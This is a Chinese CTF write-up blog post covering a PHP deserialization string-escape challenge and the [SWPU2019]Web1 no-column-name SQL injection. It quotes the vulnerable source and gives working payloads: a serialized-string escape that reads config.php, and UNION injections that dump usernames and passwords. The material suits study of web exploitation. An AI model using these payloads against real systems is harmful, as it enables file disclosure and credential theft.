一天一道ctf 第33天(反序列化字符串逃逸)

在这里插入图片描述
看界面很像sql注入,但是试了几次发觉不太行。dirsearch扫一下目录,找到了www.zip文件。
在这里插入图片描述
profile.php里有反序列化的代码,应该可以利用:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

还看到了register.php,访问一下真的可以注册,注册好以后会让我们更新profile,再结合profile.php里对photo调用了file_get_contents函数,可以判断这里存在可注入点。
在这里插入图片描述
那我们要用file_get_contents读取哪个文件呢?发现config.php文件里有flag,但是在这里被隐藏了,所以我们的目标就是给photo传值‘config.php’
在这里插入图片描述
再看profile.php,这里就是把我们输入的信息构造成序列化字符串的地方,还做了一些过滤,然后调用了update_profile。

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

update_profile在class.php里,做了字符串替换,把’’’, ‘\\‘换成了’_’,‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’换成了’hacker’。熟悉反序列化的人就知道,一替换字符串就会有字符串逃逸漏洞。

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

比如这里’\\‘变成’/'就会让nickname吞噬掉一部分photo的内容,'where’变成’hacker’则会让我们传入的nickname的一部分变成photo的内容。这里我们利用第二种,我们希望最后逃逸出来的字符串是";}s:5:"photo";s:10:"config.php";}一共34个字符,所以我们应该往nickname里塞34个where

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

但是我上传以后回显invalid nickname,才想起来这里限制了nickname的长度,查了别人的WP可以用数组绕过。
在这里插入图片描述
bp抓包把nickname修改成nickname[],虽然上传后会报错但是点进Profile然后查看源码可以看到一串base64字符串,解密得到flag。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
[SWPU2019]Web1

注册一个账号然后登陆登陆可以看到这样一个页面,直觉上是XSS
在这里插入图片描述
简单地试一下是显示了的,但好像在这道题里没什么用。
在这里插入图片描述
在这里插入图片描述
看了网上别人写的WP才知道是无列名注入,这里贴一个别人的博客,我觉得写的很好
先手动试一波列数(用/**/代替被过滤的空格),试到22列的时候不报错,回显点是2和3

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述
如果列数不对的话比如输入-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,'21,至少会直接告诉你列数错误
在这里插入图片描述
把2和3作为username和password的列名,然后a作为2的别名,b作为3的别名,查询a就能看到username,查询b就能看到password

-1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述

-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值